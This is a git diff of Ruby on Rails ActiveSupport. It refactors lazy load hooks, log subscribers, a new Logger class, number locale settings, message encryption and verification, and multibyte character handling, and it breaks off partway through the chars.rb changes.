index 5685ed18b7..8af661a795 100644
--- a/activesupport/lib/active_support/json/variable.rb
+++ b/activesupport/lib/active_support/json/variable.rb
@@ -1,7 +1,15 @@
+require 'active_support/deprecation'
+
 module ActiveSupport
   module JSON
-    # A string that returns itself as its JSON-encoded form.
+    # Deprecated: A string that returns itself as its JSON-encoded form.
     class Variable < String
+      def initialize(*args)
+        ActiveSupport::Deprecation.warn 'ActiveSupport::JSON::Variable is deprecated and will be removed in Rails 4.1. ' \
+                                        'For your own custom JSON literals, define #as_json and #encode_json yourself.'
+        super
+      end
+
       def as_json(options = nil) self end #:nodoc:
       def encode_json(encoder) self end #:nodoc:
     end
diff --git a/activesupport/lib/active_support/lazy_load_hooks.rb b/activesupport/lib/active_support/lazy_load_hooks.rb
index 82507c1e03..c167efc1a7 100644
--- a/activesupport/lib/active_support/lazy_load_hooks.rb
+++ b/activesupport/lib/active_support/lazy_load_hooks.rb
@@ -1,32 +1,32 @@
-# lazy_load_hooks allows rails to lazily load a lot of components and thus making the app boot faster. Because of
-# this feature now there is no need to require <tt>ActiveRecord::Base</tt> at boot time purely to apply configuration. Instead
-# a hook is registered that applies configuration once <tt>ActiveRecord::Base</tt> is loaded. Here <tt>ActiveRecord::Base</tt> is used
-# as example but this feature can be applied elsewhere too.
-#
-# Here is an example where +on_load+ method is called to register a hook.
-#
-#   initializer "active_record.initialize_timezone" do
-#     ActiveSupport.on_load(:active_record) do
-#       self.time_zone_aware_attributes = true
-#       self.default_timezone = :utc
-#     end
-#   end
-#
-# When the entirety of +activerecord/lib/active_record/base.rb+ has been evaluated then +run_load_hooks+ is invoked.
-# The very last line of +activerecord/lib/active_record/base.rb+ is:
-#
-#   ActiveSupport.run_load_hooks(:active_record, ActiveRecord::Base)
-#
 module ActiveSupport
-  @load_hooks = Hash.new {|h,k| h[k] = [] }
-  @loaded = {}
+  # lazy_load_hooks allows rails to lazily load a lot of components and thus making the app boot faster. Because of
+  # this feature now there is no need to require <tt>ActiveRecord::Base</tt> at boot time purely to apply configuration. Instead
+  # a hook is registered that applies configuration once <tt>ActiveRecord::Base</tt> is loaded. Here <tt>ActiveRecord::Base</tt> is used
+  # as example but this feature can be applied elsewhere too.
+  #
+  # Here is an example where +on_load+ method is called to register a hook.
+  #
+  #   initializer "active_record.initialize_timezone" do
+  #     ActiveSupport.on_load(:active_record) do
+  #       self.time_zone_aware_attributes = true
+  #       self.default_timezone = :utc
+  #     end
+  #   end
+  #
+  # When the entirety of +activerecord/lib/active_record/base.rb+ has been evaluated then +run_load_hooks+ is invoked.
+  # The very last line of +activerecord/lib/active_record/base.rb+ is:
+  #
+  #   ActiveSupport.run_load_hooks(:active_record, ActiveRecord::Base)
+  #
+  @load_hooks = Hash.new { |h,k| h[k] = [] }
+  @loaded = Hash.new { |h,k| h[k] = [] }
 
   def self.on_load(name, options = {}, &block)
-    if base = @loaded[name]
+    @loaded[name].each do |base|
       execute_hook(base, options, block)
-    else
-      @load_hooks[name] << [block, options]
     end
+
+    @load_hooks[name] << [block, options]
   end
 
   def self.execute_hook(base, options, block)
@@ -38,7 +38,7 @@ module ActiveSupport
   end
 
   def self.run_load_hooks(name, base = Object)
-    @loaded[name] = base
+    @loaded[name] << base
     @load_hooks[name].each do |hook, options|
       execute_hook(base, options, hook)
     end
diff --git a/activesupport/lib/active_support/locale/en.yml b/activesupport/lib/active_support/locale/en.yml
index a1499bcc90..f4900dc935 100644
--- a/activesupport/lib/active_support/locale/en.yml
+++ b/activesupport/lib/active_support/locale/en.yml
@@ -34,3 +34,100 @@ en:
       words_connector: ", "
       two_words_connector: " and "
       last_word_connector: ", and "
+  number:
+    # Used in NumberHelper.number_to_delimited()
+    # These are also the defaults for 'currency', 'percentage', 'precision', and 'human'
+    format:
+      # Sets the separator between the units, for more precision (e.g. 1.0 / 2.0 == 0.5)
+      separator: "."
+      # Delimits thousands (e.g. 1,000,000 is a million) (always in groups of three)
+      delimiter: ","
+      # Number of decimals, behind the separator (the number 1 with a precision of 2 gives: 1.00)
+      precision: 3
+      # If set to true, precision will mean the number of significant digits instead
+      # of the number of decimal digits (1234 with precision 2 becomes 1200, 1.23543 becomes 1.2)
+      significant: false
+      # If set, the zeros after the decimal separator will always be stripped (eg.: 1.200 will be 1.2)
+      strip_insignificant_zeros: false
+
+    # Used in NumberHelper.number_to_currency()
+    currency:
+      format:
+        # Where is the currency sign? %u is the currency unit, %n the number (default: $5.00)
+        format: "%u%n"
+        unit: "$"
+        # These five are to override number.format and are optional
+        separator: "."
+        delimiter: ","
+        precision: 2
+        significant: false
+        strip_insignificant_zeros: false
+
+    # Used in NumberHelper.number_to_percentage()
+    percentage:
+      format:
+        # These five are to override number.format and are optional
+        # separator:
+        delimiter: ""
+        # precision:
+        # significant: false
+        # strip_insignificant_zeros: false
+        format: "%n%"
+
+    # Used in NumberHelper.number_to_rounded()
+    precision:
+      format:
+        # These five are to override number.format and are optional
+        # separator:
+        delimiter: ""
+        # precision:
+        # significant: false
+        # strip_insignificant_zeros: false
+
+    # Used in NumberHelper.number_to_human_size() and NumberHelper.number_to_human()
+    human:
+      format:
+        # These five are to override number.format and are optional
+        # separator:
+        delimiter: ""
+        precision: 3
+        significant: true
+        strip_insignificant_zeros: true
+      # Used in number_to_human_size()
+      storage_units:
+        # Storage units output formatting.
+        # %u is the storage unit, %n is the number (default: 2 MB)
+        format: "%n %u"
+        units:
+          byte:
+            one:   "Byte"
+            other: "Bytes"
+          kb: "KB"
+          mb: "MB"
+          gb: "GB"
+          tb: "TB"
+      # Used in NumberHelper.number_to_human()
+      decimal_units:
+        format: "%n %u"
+        # Decimal units output formatting
+        # By default we will only quantify some of the exponents
+        # but the commented ones might be defined or overridden
+        # by the user.
+        units:
+          # femto: Quadrillionth
+          # pico: Trillionth
+          # nano: Billionth
+          # micro: Millionth
+          # mili: Thousandth
+          # centi: Hundredth
+          # deci: Tenth
+          unit: ""
+          # ten:
+          #   one: Ten
+          #   other: Tens
+          # hundred: Hundred
+          thousand: Thousand
+          million: Million
+          billion: Billion
+          trillion: Trillion
+          quadrillion: Quadrillion
diff --git a/activesupport/lib/active_support/log_subscriber.rb b/activesupport/lib/active_support/log_subscriber.rb
index 6296c1d4b8..e5b4ca2738 100644
--- a/activesupport/lib/active_support/log_subscriber.rb
+++ b/activesupport/lib/active_support/log_subscriber.rb
@@ -3,7 +3,7 @@ require 'active_support/core_ext/class/attribute'
 
 module ActiveSupport
   # ActiveSupport::LogSubscriber is an object set to consume ActiveSupport::Notifications
-  # with the sole purpose of logging them. The log subscriber dispatches notifications to 
+  # with the sole purpose of logging them. The log subscriber dispatches notifications to
   # a registered object based on its given namespace.
   #
   # An example would be Active Record log subscriber responsible for logging queries:
@@ -48,20 +48,19 @@ module ActiveSupport
     mattr_accessor :colorize_logging
     self.colorize_logging = true
 
-    class_attribute :logger
-
     class << self
-      remove_method :logger
       def logger
         @logger ||= Rails.logger if defined?(Rails)
+        @logger
       end
 
+      attr_writer :logger
+
       def attach_to(namespace, log_subscriber=new, notifier=ActiveSupport::Notifications)
         log_subscribers << log_subscriber
-        @@flushable_loggers = nil
 
         log_subscriber.public_methods(false).each do |event|
-          next if 'call' == event.to_s
+          next if %w{ start finish }.include?(event.to_s)
 
           notifier.subscribe("#{event}.#{namespace}", log_subscriber)
         end
@@ -71,28 +70,44 @@ module ActiveSupport
         @@log_subscribers ||= []
       end
 
-      def flushable_loggers
-        @@flushable_loggers ||= begin
-          loggers = log_subscribers.map(&:logger)
-          loggers.uniq!
-          loggers.select { |l| l.respond_to?(:flush) }
-        end
-      end
-
       # Flush all log_subscribers' logger.
       def flush_all!
-        flushable_loggers.each { |log| log.flush }
+        logger.flush if logger.respond_to?(:flush)
       end
     end
 
-    def call(message, *args)
+    def initialize
+      @queue_key = [self.class.name, object_id].join  "-"
+      super
+    end
+
+    def logger
+      LogSubscriber.logger
+    end
+
+    def start(name, id, payload)
       return unless logger
 
-      method = message.split('.').first
+      e = ActiveSupport::Notifications::Event.new(name, Time.now, nil, id, payload)
+      parent = event_stack.last
+      parent << e if parent
+
+      event_stack.push e
+    end
+
+    def finish(name, id, payload)
+      return unless logger
+
+      finished  = Time.now
+      event     = event_stack.pop
+      event.end = finished
+      event.payload.merge!(payload)
+
+      method = name.split('.').first
       begin
-        send(method, ActiveSupport::Notifications::Event.new(message, *args))
+        send(method, event)
       rescue Exception => e
-        logger.error "Could not log #{message.inspect} event. #{e.class}: #{e.message}"
+        logger.error "Could not log #{name.inspect} event. #{e.class}: #{e.message} #{e.backtrace}"
       end
     end
 
@@ -100,9 +115,8 @@ module ActiveSupport
 
     %w(info debug warn error fatal unknown).each do |level|
       class_eval <<-METHOD, __FILE__, __LINE__ + 1
-        def #{level}(*args, &block)
-          return unless logger
-          logger.#{level}(*args, &block)
+        def #{level}(progname = nil, &block)
+          logger.#{level}(progname, &block) if logger
         end
       METHOD
     end
@@ -114,9 +128,15 @@ module ActiveSupport
     #
     def color(text, color, bold=false)
       return text unless colorize_logging
-      color = self.class.const_get(color.to_s.upcase) if color.is_a?(Symbol)
+      color = self.class.const_get(color.upcase) if color.is_a?(Symbol)
       bold  = bold ? BOLD : ""
       "#{bold}#{color}#{text}#{CLEAR}"
     end
+
+    private
+
+    def event_stack
+      Thread.current[@queue_key] ||= []
+    end
   end
 end
diff --git a/activesupport/lib/active_support/log_subscriber/test_helper.rb b/activesupport/lib/active_support/log_subscriber/test_helper.rb
index dcfcf0b63c..b65ea6208c 100644
--- a/activesupport/lib/active_support/log_subscriber/test_helper.rb
+++ b/activesupport/lib/active_support/log_subscriber/test_helper.rb
@@ -50,7 +50,7 @@ module ActiveSupport
       end
 
       class MockLogger
-        include ActiveSupport::BufferedLogger::Severity
+        include ActiveSupport::Logger::Severity
 
         attr_reader :flush_count
         attr_accessor :level
@@ -61,8 +61,12 @@ module ActiveSupport
           @logged = Hash.new { |h,k| h[k] = [] }
         end
 
-        def method_missing(level, message)
-          @logged[level] << message
+        def method_missing(level, message = nil)
+           if block_given?
+             @logged[level] << yield
+           else
+             @logged[level] << message
+           end
         end
 
         def logged(level)
@@ -73,7 +77,7 @@ module ActiveSupport
           @flush_count += 1
         end
 
-        ActiveSupport::BufferedLogger::Severity.constants.each do |severity|
+        ActiveSupport::Logger::Severity.constants.each do |severity|
           class_eval <<-EOT, __FILE__, __LINE__ + 1
             def #{severity.downcase}?
               #{severity} >= @level
diff --git a/activesupport/lib/active_support/logger.rb b/activesupport/lib/active_support/logger.rb
new file mode 100644
index 0000000000..d055767eab
--- /dev/null
+++ b/activesupport/lib/active_support/logger.rb
@@ -0,0 +1,53 @@
+require 'logger'
+
+module ActiveSupport
+  class Logger < ::Logger
+    # Broadcasts logs to multiple loggers
+    def self.broadcast(logger) # :nodoc:
+      Module.new do
+        define_method(:add) do |*args, &block|
+          logger.add(*args, &block)
+          super(*args, &block)
+        end
+
+        define_method(:<<) do |x|
+          logger << x
+          super(x)
+        end
+
+        define_method(:close) do
+          logger.close
+          super()
+        end
+
+        define_method(:progname=) do |name|
+          logger.progname = name
+          super(name)
+        end
+
+        define_method(:formatter=) do |formatter|
+          logger.formatter = formatter
+          super(formatter)
+        end
+
+        define_method(:level=) do |level|
+          logger.level = level
+          super(level)
+        end
+      end
+    end
+
+    def initialize(*args)
+      super
+      @formatter = SimpleFormatter.new
+    end
+
+    # Simple formatter which only displays the message.
+    class SimpleFormatter < ::Logger::Formatter
+      # This method is invoked when a log event occurs
+      def call(severity, timestamp, progname, msg)
+        "#{String === msg ? msg : msg.inspect}\n"
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/memoizable.rb b/activesupport/lib/active_support/memoizable.rb
deleted file mode 100644
index 4c67676ad5..0000000000
--- a/activesupport/lib/active_support/memoizable.rb
+++ /dev/null
@@ -1,116 +0,0 @@
-require 'active_support/core_ext/kernel/singleton_class'
-require 'active_support/core_ext/module/aliasing'
-require 'active_support/deprecation'
-
-module ActiveSupport
-  module Memoizable
-    def self.extended(base)
-      ActiveSupport::Deprecation.warn "ActiveSupport::Memoizable is deprecated and will be removed in future releases," \
-        "simply use Ruby memoization pattern instead.", caller
-      super
-    end
-
-    def self.memoized_ivar_for(symbol)
-      "@_memoized_#{symbol.to_s.sub(/\?\Z/, '_query').sub(/!\Z/, '_bang')}".to_sym
-    end
-
-    module InstanceMethods
-      def self.included(base)
-        base.class_eval do
-          unless base.method_defined?(:freeze_without_memoizable)
-            alias_method_chain :freeze, :memoizable
-          end
-        end
-      end
-
-      def freeze_with_memoizable
-        memoize_all unless frozen?
-        freeze_without_memoizable
-      end
-
-      def memoize_all
-        prime_cache ".*"
-      end
-
-      def unmemoize_all
-        flush_cache ".*"
-      end
-
-      def prime_cache(*syms)
-        syms.each do |sym|
-          methods.each do |m|
-            if m.to_s =~ /^_unmemoized_(#{sym})/
-              if method(m).arity == 0
-                __send__($1)
-              else
-                ivar = ActiveSupport::Memoizable.memoized_ivar_for($1)
-                instance_variable_set(ivar, {})
-              end
-            end
-          end
-        end
-      end
-
-      def flush_cache(*syms)
-        syms.each do |sym|
-          (methods + private_methods + protected_methods).each do |m|
-            if m.to_s =~ /^_unmemoized_(#{sym.to_s.gsub(/\?\Z/, '\?')})/
-              ivar = ActiveSupport::Memoizable.memoized_ivar_for($1)
-              instance_variable_get(ivar).clear if instance_variable_defined?(ivar)
-            end
-          end
-        end
-      end
-    end
-
-    def memoize(*symbols)
-      symbols.each do |symbol|
-        original_method = :"_unmemoized_#{symbol}"
-        memoized_ivar = ActiveSupport::Memoizable.memoized_ivar_for(symbol)
-
-        class_eval <<-EOS, __FILE__, __LINE__ + 1
-          include InstanceMethods                                                  # include InstanceMethods
-                                                                                   #
-          if method_defined?(:#{original_method})                                  # if method_defined?(:_unmemoized_mime_type)
-            raise "Already memoized #{symbol}"                                     #   raise "Already memoized mime_type"
-          end                                                                      # end
-          alias #{original_method} #{symbol}                                       # alias _unmemoized_mime_type mime_type
-                                                                                   #
-          if instance_method(:#{symbol}).arity == 0                                # if instance_method(:mime_type).arity == 0
-            def #{symbol}(reload = false)                                          #   def mime_type(reload = false)
-              if reload || !defined?(#{memoized_ivar}) || #{memoized_ivar}.empty?  #     if reload || !defined?(@_memoized_mime_type) || @_memoized_mime_type.empty?
-                #{memoized_ivar} = [#{original_method}]                            #       @_memoized_mime_type = [_unmemoized_mime_type]
-              end                                                                  #     end
-              #{memoized_ivar}[0]                                                  #     @_memoized_mime_type[0]
-            end                                                                    #   end
-          else                                                                     # else
-            def #{symbol}(*args)                                                   #   def mime_type(*args)
-              #{memoized_ivar} ||= {} unless frozen?                               #     @_memoized_mime_type ||= {} unless frozen?
-              args_length = method(:#{original_method}).arity                      #     args_length = method(:_unmemoized_mime_type).arity
-              if args.length == args_length + 1 &&                                 #     if args.length == args_length + 1 &&
-                (args.last == true || args.last == :reload)                        #       (args.last == true || args.last == :reload)
-                reload = args.pop                                                  #       reload = args.pop
-              end                                                                  #     end
-                                                                                   #
-              if defined?(#{memoized_ivar}) && #{memoized_ivar}                    #     if defined?(@_memoized_mime_type) && @_memoized_mime_type
-                if !reload && #{memoized_ivar}.has_key?(args)                      #       if !reload && @_memoized_mime_type.has_key?(args)
-                  #{memoized_ivar}[args]                                           #         @_memoized_mime_type[args]
-                elsif #{memoized_ivar}                                             #       elsif @_memoized_mime_type
-                  #{memoized_ivar}[args] = #{original_method}(*args)               #         @_memoized_mime_type[args] = _unmemoized_mime_type(*args)
-                end                                                                #       end
-              else                                                                 #     else
-                #{original_method}(*args)                                          #       _unmemoized_mime_type(*args)
-              end                                                                  #     end
-            end                                                                    #   end
-          end                                                                      # end
-                                                                                   #
-          if private_method_defined?(#{original_method.inspect})                   # if private_method_defined?(:_unmemoized_mime_type)
-            private #{symbol.inspect}                                              #   private :mime_type
-          elsif protected_method_defined?(#{original_method.inspect})              # elsif protected_method_defined?(:_unmemoized_mime_type)
-            protected #{symbol.inspect}                                            #   protected :mime_type
-          end                                                                      # end
-        EOS
-      end
-    end
-  end
-end
diff --git a/activesupport/lib/active_support/message_encryptor.rb b/activesupport/lib/active_support/message_encryptor.rb
index e14386a85d..ada2e79ccb 100644
--- a/activesupport/lib/active_support/message_encryptor.rb
+++ b/activesupport/lib/active_support/message_encryptor.rb
@@ -1,5 +1,5 @@
 require 'openssl'
-require 'active_support/base64'
+require 'base64'
 
 module ActiveSupport
   # MessageEncryptor is a simple way to encrypt values which get stored somewhere
@@ -9,22 +9,56 @@ module ActiveSupport
   #
   # This can be used in situations similar to the <tt>MessageVerifier</tt>, but where you don't
   # want users to be able to determine the value of the payload.
+  #
+  #   key = OpenSSL::Digest::SHA256.new('password').digest        # => "\x89\xE0\x156\xAC..." 
+  #   crypt = ActiveSupport::MessageEncryptor.new(key)            # => #<ActiveSupport::MessageEncryptor ...> 
+  #   encrypted_data = crypt.encrypt_and_sign('my secret data')   # => "NlFBTTMwOUV5UlA1QlNEN2xkY2d6eThYWWh..." 
+  #   crypt.decrypt_and_verify(encrypted_data)                    # => "my secret data" 
   class MessageEncryptor
+    module NullSerializer #:nodoc:
+      def self.load(value)
+        value
+      end
+
+      def self.dump(value)
+        value
+      end
+    end
+
     class InvalidMessage < StandardError; end
     OpenSSLCipherError = OpenSSL::Cipher.const_defined?(:CipherError) ? OpenSSL::Cipher::CipherError : OpenSSL::CipherError
 
+    # Initialize a new MessageEncryptor.
+    # +secret+ must be at least as long as the cipher key size. For the default 'aes-256-cbc' cipher,
+    # this is 256 bits. If you are using a user-entered secret, you can generate a suitable key with
+    # <tt>OpenSSL::Digest::SHA256.new(user_secret).digest</tt> or similar.
+    #
+    # Options:
+    # * <tt>:cipher</tt>      - Cipher to use. Can be any cipher returned by <tt>OpenSSL::Cipher.ciphers</tt>. Default is 'aes-256-cbc'
+    # * <tt>:serializer</tt>  - Object serializer to use. Default is +Marshal+.
+    # 
     def initialize(secret, options = {})
-      unless options.is_a?(Hash)
-        ActiveSupport::Deprecation.warn "The second parameter should be an options hash. Use :cipher => 'algorithm' to specify the cipher algorithm."
-        options = { :cipher => options }
-      end
-      
       @secret = secret
       @cipher = options[:cipher] || 'aes-256-cbc'
+      @verifier = MessageVerifier.new(@secret, :serializer => NullSerializer)
       @serializer = options[:serializer] || Marshal
     end
 
-    def encrypt(value)
+    # Encrypt and sign a message. We need to sign the message in order to avoid padding attacks.
+    # Reference: http://www.limited-entropy.com/padding-oracle-attacks
+    def encrypt_and_sign(value)
+      verifier.generate(_encrypt(value))
+    end
+
+    # Decrypt and verify a message. We need to verify the message in order to avoid padding attacks.
+    # Reference: http://www.limited-entropy.com/padding-oracle-attacks
+    def decrypt_and_verify(value)
+      _decrypt(verifier.verify(value))
+    end
+
+    private
+
+    def _encrypt(value)
       cipher = new_cipher
       # Rely on OpenSSL for the initialization vector
       iv = cipher.random_iv
@@ -36,12 +70,12 @@ module ActiveSupport
       encrypted_data = cipher.update(@serializer.dump(value))
       encrypted_data << cipher.final
 
-      [encrypted_data, iv].map {|v| ActiveSupport::Base64.encode64s(v)}.join("--")
+      [encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--")
     end
 
-    def decrypt(encrypted_message)
+    def _decrypt(encrypted_message)
       cipher = new_cipher
-      encrypted_data, iv = encrypted_message.split("--").map {|v| ActiveSupport::Base64.decode64(v)}
+      encrypted_data, iv = encrypted_message.split("--").map {|v| ::Base64.decode64(v)}
 
       cipher.decrypt
       cipher.key = @secret
@@ -55,23 +89,12 @@ module ActiveSupport
       raise InvalidMessage
     end
 
-    def encrypt_and_sign(value)
-      verifier.generate(encrypt(value))
+    def new_cipher
+      OpenSSL::Cipher::Cipher.new(@cipher)
     end
 
-    def decrypt_and_verify(value)
-      decrypt(verifier.verify(value))
+    def verifier
+      @verifier
     end
-
-
-
-    private
-      def new_cipher
-        OpenSSL::Cipher::Cipher.new(@cipher)
-      end
-
-      def verifier
-        MessageVerifier.new(@secret)
-      end
   end
 end
diff --git a/activesupport/lib/active_support/message_verifier.rb b/activesupport/lib/active_support/message_verifier.rb
index 9d7c81142a..3b27089fa0 100644
--- a/activesupport/lib/active_support/message_verifier.rb
+++ b/activesupport/lib/active_support/message_verifier.rb
@@ -1,4 +1,4 @@
-require 'active_support/base64'
+require 'base64'
 require 'active_support/core_ext/object/blank'
 
 module ActiveSupport
@@ -18,7 +18,7 @@ module ActiveSupport
   #     self.current_user = User.find(id)
   #   end
   #
-  # By default it uses Marshal to serialize the message. If you want to use another 
+  # By default it uses Marshal to serialize the message. If you want to use another
   # serialization method, you can set the serializer attribute to something that responds
   # to dump and load, e.g.:
   #
@@ -27,11 +27,6 @@ module ActiveSupport
     class InvalidSignature < StandardError; end
 
     def initialize(secret, options = {})
-      unless options.is_a?(Hash)
-        ActiveSupport::Deprecation.warn "The second parameter should be an options hash. Use :digest => 'algorithm' to specify the digest algorithm."
-        options = { :digest => options }
-      end
-
       @secret = secret
       @digest = options[:digest] || 'SHA1'
       @serializer = options[:serializer] || Marshal
@@ -42,14 +37,14 @@ module ActiveSupport
 
       data, digest = signed_message.split("--")
       if data.present? && digest.present? && secure_compare(digest, generate_digest(data))
-        @serializer.load(ActiveSupport::Base64.decode64(data))
+        @serializer.load(::Base64.decode64(data))
       else
         raise InvalidSignature
       end
     end
 
     def generate(value)
-      data = ActiveSupport::Base64.encode64s(@serializer.dump(value))
+      data = ::Base64.strict_encode64(@serializer.dump(value))
       "#{data}--#{generate_digest(data)}"
     end
 
diff --git a/activesupport/lib/active_support/multibyte.rb b/activesupport/lib/active_support/multibyte.rb
index 57e8e24bf4..977fe95dbe 100644
--- a/activesupport/lib/active_support/multibyte.rb
+++ b/activesupport/lib/active_support/multibyte.rb
@@ -1,9 +1,5 @@
-# encoding: utf-8
-require 'active_support/core_ext/module/attribute_accessors'
-
 module ActiveSupport #:nodoc:
   module Multibyte
-    autoload :EncodingError, 'active_support/multibyte/exceptions'
     autoload :Chars, 'active_support/multibyte/chars'
     autoload :Unicode, 'active_support/multibyte/unicode'
 
@@ -11,7 +7,6 @@ module ActiveSupport #:nodoc:
     # class so you can support other encodings. See the ActiveSupport::Multibyte::Chars implementation for
     # an example how to do this.
     #
-    # Example:
     #   ActiveSupport::Multibyte.proxy_class = CharsForUTF32
     def self.proxy_class=(klass)
       @proxy_class = klass
@@ -21,24 +16,5 @@ module ActiveSupport #:nodoc:
     def self.proxy_class
       @proxy_class ||= ActiveSupport::Multibyte::Chars
     end
-
-    # Regular expressions that describe valid byte sequences for a character
-    VALID_CHARACTER = {
-      # Borrowed from the Kconv library by Shinji KONO - (also as seen on the W3C site)
-      'UTF-8' => /\A(?:
-                  [\x00-\x7f]                                         |
-                  [\xc2-\xdf] [\x80-\xbf]                             |
-                  \xe0        [\xa0-\xbf] [\x80-\xbf]                 |
-                  [\xe1-\xef] [\x80-\xbf] [\x80-\xbf]                 |
-                  \xf0        [\x90-\xbf] [\x80-\xbf] [\x80-\xbf]     |
-                  [\xf1-\xf3] [\x80-\xbf] [\x80-\xbf] [\x80-\xbf]     |
-                  \xf4        [\x80-\x8f] [\x80-\xbf] [\x80-\xbf])\z /xn,
-      # Quick check for valid Shift-JIS characters, disregards the odd-even pairing
-      'Shift_JIS' => /\A(?:
-                  [\x00-\x7e\xa1-\xdf]                                     |
-                  [\x81-\x9f\xe0-\xef] [\x40-\x7e\x80-\x9e\x9f-\xfc])\z /xn
-    }
   end
 end
-
-require 'active_support/multibyte/utils'
\ No newline at end of file
diff --git a/activesupport/lib/active_support/multibyte/chars.rb b/activesupport/lib/active_support/multibyte/chars.rb
index b78d92f599..47336d2143 100644
--- a/activesupport/lib/active_support/multibyte/chars.rb
+++ b/activesupport/lib/active_support/multibyte/chars.rb
@@ -1,6 +1,8 @@
 # encoding: utf-8
+require 'active_support/json'
 require 'active_support/core_ext/string/access'
 require 'active_support/core_ext/string/behavior'
+require 'active_support/core_ext/module/delegation'
 
 module ActiveSupport #:nodoc:
   module Multibyte #:nodoc:
@@ -34,27 +36,24 @@ module ActiveSupport #:nodoc:
     #
     #   ActiveSupport::Multibyte.proxy_class = CharsForUTF32
     class Chars
+      include Comparable
       attr_reader :wrapped_string
       alias to_s wrapped_string
       alias to_str wrapped_string
 
-      if RUBY_VERSION >= "1.9"
-        # Creates a new Chars instance by wrapping _string_.
-        def initialize(string)
-          @wrapped_string = string
-          @wrapped_string.force_encoding(Encoding::UTF_8) unless @wrapped_string.frozen?
-        end
-      else
-        def initialize(string) #:nodoc:
-          @wrapped_string = string
-        end
+      delegate :<=>, :=~, :acts_like_string?, :to => :wrapped_string
+
+      # Creates a new Chars instance by wrapping _string_.
+      def initialize(string)
+        @wrapped_string = string
+        @wrapped_string.force_encoding(Encoding::UTF_8) unless @wrapped_string.frozen?
       end
 
       # Forward all undefined methods to the wrapped string.
       def method_missing(method, *args, &block)
         if method.to_s =~ /!$/
-          @wrapped_string.__send__(method, *args, &block)
-          self
+          result = @wrapped_string.__send__(method, *args, &block)
+          self if result
         else
           result = @wrapped_string.__send__(method, *args, &block)
           result.kind_of?(String) ? chars(result) : result
@@ -63,298 +62,67 @@ module ActiveSupport #:nodoc:
 
       # Returns +true+ if _obj_ responds to the given method. Private methods are included in the search
       # only if the optional second parameter evaluates to +true+.
-      def respond_to?(method, include_private=false)
-        super || @wrapped_string.respond_to?(method, include_private)
-      end
-
-      # Enable more predictable duck-typing on String-like classes. See Object#acts_like?.
-      def acts_like_string?
-        true
+      def respond_to_missing?(method, include_private)
+        @wrapped_string.respond_to?(method, include_private)
       end
 
       # Returns +true+ when the proxy class can handle the string. Returns +false+ otherwise.
       def self.consumes?(string)
-        # Unpack is a little bit faster than regular expressions.
-        string.unpack('U*')
-        true
-      rescue ArgumentError
-        false
-      end
-
-      include Comparable
-
-      # Returns -1, 0, or 1, depending on whether the Chars object is to be sorted before,
-      # equal or after the object on the right side of the operation. It accepts any object
-      # that implements +to_s+:
-      #
-      #   'é'.mb_chars <=> 'ü'.mb_chars # => -1
-      #
-      # See <tt>String#<=></tt> for more details.
-      def <=>(other)
-        @wrapped_string <=> other.to_s
-      end
-
-      if RUBY_VERSION < "1.9"
-        # Returns +true+ if the Chars class can and should act as a proxy for the string _string_. Returns
-        # +false+ otherwise.
-        def self.wants?(string)
-          $KCODE == 'UTF8' && consumes?(string)
-        end
-
-        # Returns a new Chars object containing the _other_ object concatenated to the string.
-        #
-        # Example:
-        #   ('Café'.mb_chars + ' périferôl').to_s # => "Café périferôl"
-        def +(other)
-          chars(@wrapped_string + other)
-        end
-
-        # Like <tt>String#=~</tt> only it returns the character offset (in codepoints) instead of the byte offset.
-        #
-        # Example:
-        #   'Café périferôl'.mb_chars =~ /ô/ # => 12
-        def =~(other)
-          translate_offset(@wrapped_string =~ other)
-        end
-
-        # Inserts the passed string at specified codepoint offsets.
-        #
-        # Example:
-        #   'Café'.mb_chars.insert(4, ' périferôl').to_s # => "Café périferôl"
-        def insert(offset, fragment)
-          unpacked = Unicode.u_unpack(@wrapped_string)
-          unless offset > unpacked.length
-            @wrapped_string.replace(
-              Unicode.u_unpack(@wrapped_string).insert(offset, *Unicode.u_unpack(fragment)).pack('U*')
-            )
-          else
-            raise IndexError, "index #{offset} out of string"
-          end
-          self
-        end
-
-        # Returns +true+ if contained string contains _other_. Returns +false+ otherwise.
-        #
-        # Example:
-        #   'Café'.mb_chars.include?('é') # => true
-        def include?(other)
-          # We have to redefine this method because Enumerable defines it.
-          @wrapped_string.include?(other)
-        end
-
-        # Returns the position _needle_ in the string, counting in codepoints. Returns +nil+ if _needle_ isn't found.
-        #
-        # Example:
-        #   'Café périferôl'.mb_chars.index('ô')   # => 12
-        #   'Café périferôl'.mb_chars.index(/\w/u) # => 0
-        def index(needle, offset=0)
-          wrapped_offset = first(offset).wrapped_string.length
-          index = @wrapped_string.index(needle, wrapped_offset)
-          index ? (Unicode.u_unpack(@wrapped_string.slice(0...index)).size) : nil
-        end
-
-        # Returns the position _needle_ in the string, counting in
-        # codepoints, searching backward from _offset_ or the end of the
-        # string. Returns +nil+ if _needle_ isn't found.
-        #
-        # Example:
-        #   'Café périferôl'.mb_chars.rindex('é')   # => 6
-        #   'Café périferôl'.mb_chars.rindex(/\w/u) # => 13
-        def rindex(needle, offset=nil)
-          offset ||= length
-          wrapped_offset = first(offset).wrapped_string.length
-          index = @wrapped_string.rindex(needle, wrapped_offset)
-          index ? (Unicode.u_unpack(@wrapped_string.slice(0...index)).size) : nil
-        end
-
-        # Returns the number of codepoints in the string
-        def size
-          Unicode.u_unpack(@wrapped_string).size
-        end
-        alias_method :length, :size
-
-        # Strips entire range of Unicode whitespace from the right of the string.
-        def rstrip
-          chars(@wrapped_string.gsub(Unicode::TRAILERS_PAT, ''))
-        end
-
-        # Strips entire range of Unicode whitespace from the left of the string.
-        def lstrip
-          chars(@wrapped_string.gsub(Unicode::LEADERS_PAT, ''))
-        end
-
-        # Strips entire range of Unicode whitespace from the right and left of the string.
-        def strip
-          rstrip.lstrip
-        end
-
-        # Returns the codepoint of the first character in the string.
-        #
-        # Example:
-        #   'こんにちは'.mb_chars.ord # => 12371
-        def ord
-          Unicode.u_unpack(@wrapped_string)[0]
-        end
-
-        # Works just like <tt>String#rjust</tt>, only integer specifies characters instead of bytes.
-        #
-        # Example:
-        #
-        #   "¾ cup".mb_chars.rjust(8).to_s
-        #   # => "   ¾ cup"
-        #
-        #   "¾ cup".mb_chars.rjust(8, " ").to_s # Use non-breaking whitespace
-        #   # => "   ¾ cup"
-        def rjust(integer, padstr=' ')
-          justify(integer, :right, padstr)
-        end
-
-        # Works just like <tt>String#ljust</tt>, only integer specifies characters instead of bytes.
-        #
-        # Example:
-        #
-        #   "¾ cup".mb_chars.rjust(8).to_s
